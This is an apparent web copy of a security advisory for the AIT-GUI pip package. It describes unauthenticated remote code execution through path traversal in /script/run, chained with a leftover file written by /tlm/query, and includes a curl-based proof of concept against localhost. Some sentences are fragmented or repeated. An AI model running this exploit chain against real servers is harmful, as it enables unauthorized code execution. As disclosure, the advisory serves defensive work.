
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 1.0.0, <= 2.5.0
Patched in 2.5.1
Details
A security issue exists where unauthenticated callers can instruct the AIT-GUI server to execute arbitrary Python scripts. The attack vector involves obtaining a session cookie through GET /, followed by a malicious POST /script/run request containing an absolute file path that bypasses the configured script directory restrictions.
This vulnerability allows unauthenticated remote code execution on the AIT-GUI server. Any attacker with network access can execute arbitrary Python code with daemon privileges.
Chain:
POST /tlm/query writes the user-controlled fields value into fields_in.txt under the AIT-GUI static directory.
dataDir has no .pcap files, the route returns the expected 400 Bad Request before deleting that file.POST /script/run accepts scriptPath=../static/fields_in.txt.
Relevant code:
ait/gui/__init__.py:930,935,942-944: /tlm/query writes fields to fields_in.txt.ait/gui/__init__.py:952-958,978: the no-PCAP error path aborts before cleanup.ait/gui/__init__.py:1130-1136: /script/run joins scriptPath with ScriptRoot and only checks that the path exists.ait/gui/__init__.py:1186-1191: the selected file is read and executed as Python.ait/gui/__init__.py:1105-1108: nearby /scripts/load/<name> has a path containment check, but /script/run does not.Restricted script execution paths and avoided using static temp files.
POST /tlm/query writes the user-controlled fields value into fields_in.txt under the AIT-GUI static directory.
dataDir has no .pcap files, the route returns the expected 400 Bad Request before deleting that file.# Remove file to ensure nothing exists
AIT-GUI % rm <path>/fields_in.txt
# With server started, send POST request to /tlm/query endpoint
AIT-GUI % curl -X POST http://localhost:8080/tlm/query \ -d "dataDir=<path>" \
-d "timeField=time" \
-d "packet=CCSDS_HEADER" \
-d "fields=field1,field2,field3" \
-d "startTime=2026-07-01T00:00:00" \
-d "endTime=2026-07-10T00:00:00" \
-o query_out.csv
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 925 100 782 100 143 34798 6363 --:--:-- --:--:-- --:--:-- 42045
# AIT-server log verify that PCAP file cannot be found:
2026-07-10T11:46:37.873 | ERROR | Unable to locate PCAP files for query given data directory <path>
# Verify file is created and not cleaned up
AIT-GUI % cat <path>/fields_in.txt
field1
field2
field3
POST /script/run accepts scriptPath=../static/fields_in.txt.
# Generate session cookie
curl -c cookies.txt -v http://localhost:8080/ -o /dev/null
# Execute example script which currently exists in configured scripts.directory in config.yaml
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % cat config.yaml | grep script
script:
directory: ./scripts
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % ls scripts
example_script.py
# Create exploit script "exploit.py" outside of configured location
(venv) scripts % ls ../exploit.py
../exploit.py
# Perform request to example_script.py. This script prints 'correct'
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=example_script.py" -b cookies.txt
# Perform request to exploit.py, which exists outside of configured location. This script prints 'exploited'
(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=../exploit.py" -b cookies.txt
# Verify in server logs that correct and exploit print
2026-07-10T13:46:41.441 | INFO | Starting broker...
correct
...
exploited
127.0.0.1) and proves the issue against AIT-GUI 2.5.0.0.0.0.0, so in a deployment where another host can reach the AIT-GUI HTTP port, this becomes code execution from that network position.sid cookie created by GET /. In my local demo, the payload ran as my normal user (uid=1000), not root.More pip advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.